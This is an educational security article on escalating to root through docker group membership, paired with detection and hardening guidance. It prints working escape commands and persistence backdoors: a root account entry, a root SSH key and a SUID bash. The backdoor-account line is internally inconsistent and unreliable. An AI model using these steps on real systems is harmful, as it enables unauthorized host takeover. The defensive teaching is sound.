Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction / Overview
One of the most overlooked findings during a Linux post-exploitation phase is membership in the docker group. Administrators frequently add their users (or service accounts) to this group so they can run docker without sudo. What many of them do not realize is that being in the docker group is effectively equivalent to having root. The Docker documentation itself warns about this, yet it remains one of the easiest and most reliable local privilege escalation paths you will encounter.
In this article you will learn why the docker group is so dangerous, and you will walk through two concrete proof-of-concept techniques: mounting the host filesystem with docker run -v /:/mnt, and launching a --privileged container to escape to the host. We will finish with a Blue Team section that carries equal weight to the offence.
How it works / Background
The Docker daemon (dockerd) runs as root. It exposes a control socket at /var/run/docker.sock, owned by root:docker with 0660 permissions:
$ ls -l /var/run/docker.sock
srw-rw---- 1 root docker 0 Jun 11 09:02 /var/run/docker.sockBashAny user who can write to that socket can ask the root-owned daemon to perform privileged actions on their behalf. The Docker CLI is just a thin REST client for the socket. Because the daemon does not drop privileges based on who asked, an attacker can instruct it to:
- Bind-mount any host path into a container (read/write as root).
- Start a container with
--privileged, granting nearly all capabilities and access to host devices. - Mount the host PID/network namespaces.
There is no privilege boundary between a docker-group member and root. This maps to MITRE ATT&CK T1611 (Escape to Host) and T1548 (Abuse Elevation Control Mechanism).
Prerequisites / Lab setup
To follow along you need:
- A Linux host with Docker installed and the daemon running.
- A low-privileged user that is a member of the
dockergroup (or write access to the socket). - At least one local image, or outbound network access to pull one (e.g.
alpine).
Confirm your group membership and that the socket is reachable:
$ id
uid=1000(lowpriv) gid=1000(lowpriv) groups=1000(lowpriv),998(docker)
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESBashIf docker ps returns output (and not a permission-denied error), you are in business. If you are not in the group but can still write to the socket, the same techniques apply via the raw API.
Attack walkthrough / PoC
Technique 1 — Mount the host filesystem with -v /:/mnt
The cleanest escalation is to mount the host root filesystem into a container as root. Inside the container you are UID 0, and because the bind mount preserves on-disk ownership, you can read and write any host file.
# Drop into a container with the host root mounted at /mnt
docker run --rm -it -v /:/mnt alpine chroot /mnt shBashAfter chroot /mnt, you have a root shell on the host filesystem. From here, pick your persistence method. A few classic options:
# Option A: read sensitive files directly
cat /mnt/etc/shadow
# Option B: add an entry to /etc/passwd for a backdoor root account
# (password "password" generated with: openssl passwd -1 password)
echo 'hacker:$1$abc$5x...:0:0:root:/root:/bin/bash' >> /etc/shadow
# Option C: drop an SSH key for root
mkdir -p /root/.ssh && echo "ssh-ed25519 AAAA... attacker" >> /root/.ssh/authorized_keys
# Option D: make a SUID copy of bash for a quick local root shell
cp /bin/bash /root/rootbash && chmod 4755 /root/rootbashBashExit the container, then trigger your backdoor on the host:
$ /root/rootbash -p
rootbash-5.1# id
uid=1000(lowpriv) gid=1000(lowpriv) euid=0(root) groups=...BashThe -p flag preserves the effective UID, giving you a root shell from the SUID binary you planted.
Technique 2 — Privileged container escape
If you want full host control without a chroot dance, a --privileged container disables most of Docker's isolation. With --pid=host you can also interact with host processes directly.
docker run --rm -it --privileged --pid=host alpine shBashInside, nsenter lets you enter the host's namespaces by targeting PID 1 (the host init), giving you a fully native host shell:
# From inside the privileged container
nsenter -t 1 -m -u -n -i shBashnsenter -t 1 attaches to init's mount (-m), UTS (-u), network (-n), and IPC (-i) namespaces. You are now effectively running as root on the host, outside any container boundary. A privileged container also exposes host block devices under /dev, so you could alternatively mount the raw root partition:
fdisk -l # identify the host disk, e.g. /dev/sda1
mkdir /hostfs && mount /dev/sda1 /hostfsBashWithout the CLI: raw socket via curl
If the docker binary is missing but the socket is writable, talk to the API directly:
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | headBashYou can then create and start a container with a host mount entirely over the REST API — useful in stripped-down environments. For deeper namespace tricks, see my notes on Linux capabilities and SUID abuse.
Mermaid diagram

The diagram shows a docker-group user instructing the root-owned daemon to either bind-mount the host filesystem or launch a privileged container, both leading to a root shell on the host.
Detection & Defense (Blue Team)
Treat the docker group as a tier-0 privilege. Defences fall into three buckets: reduce who can reach the daemon, harden the daemon, and detect abuse.
1. Minimize docker-group membership. Audit it regularly and remove anyone who does not strictly need it:
getent group docker
# Remove a user
sudo gpasswd -d lowpriv dockerBash2. Run rootless Docker or use Podman. Rootless mode runs the daemon and containers as a non-root user, so a compromise no longer yields host root. Podman is daemonless and rootless by default, eliminating the socket-equals-root problem entirely.
3. Restrict the socket and never expose it over TCP. Do not bind dockerd to tcp://0.0.0.0:2375. If a remote API is required, use TLS client certificates (tcp://...:2376). Never bind-mount /var/run/docker.sock into a container you do not fully trust.
4. Enable auditd rules to flag socket access and dangerous flags. Watch the socket and the daemon binary:
# /etc/audit/rules.d/docker.rules
-w /var/run/docker.sock -p rwa -k docker_socket
-w /usr/bin/docker -p x -k docker_exec
-w /usr/bin/dockerd -p x -k dockerdBash5. Detect risky container launches. Alert on --privileged, host-path bind mounts of /, and --pid=host. With Falco, the default ruleset already covers several of these (e.g. Launch Privileged Container and Launch Sensitive Mount Container):
# Falco fires on rules like:
# - Launch Privileged Container
# - Launch Sensitive Mount Container (e.g. /, /etc, /var/run/docker.sock)
# - Terminal shell in containerYAML6. Apply user namespace remapping. Configure userns-remap in /etc/docker/daemon.json so container root maps to an unprivileged host UID, blunting the impact of a bind mount:
{ "userns-remap": "default" }JSON7. Monitor for persistence indicators that follow a successful escape: new SUID binaries, modified /etc/shadow or /etc/passwd, and unexpected entries in root's authorized_keys. Periodic SUID baselining catches Technique 1's rootbash trick:
find / -perm -4000 -type f 2>/dev/nullBashFor broader hardening guidance, see Linux post-exploitation enumeration.
Conclusion
The docker group is not a convenience — it is a root-equivalent grant. Two short commands, docker run -v /:/mnt ... or docker run --privileged --pid=host ..., turn an unprivileged shell into full host control. For defenders the message is equally simple: treat docker-group membership as admin access, prefer rootless/Podman, and instrument the socket and container launches with auditd and Falco. The cheapest mitigation is almost always removing a user from the group that never needed to be there.
References
- MITRE ATT&CK — T1611 Escape to Host: https://attack.mitre.org/techniques/T1611/
- MITRE ATT&CK — T1548 Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
- HackTricks — Docker Breakout / Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security
- Docker — Run the daemon in rootless mode: https://docs.docker.com/engine/security/rootless/
- Docker — Daemon security & socket warning: https://docs.docker.com/engine/security/
- Falco — Default rules: https://github.com/falcosecurity/rules



Comments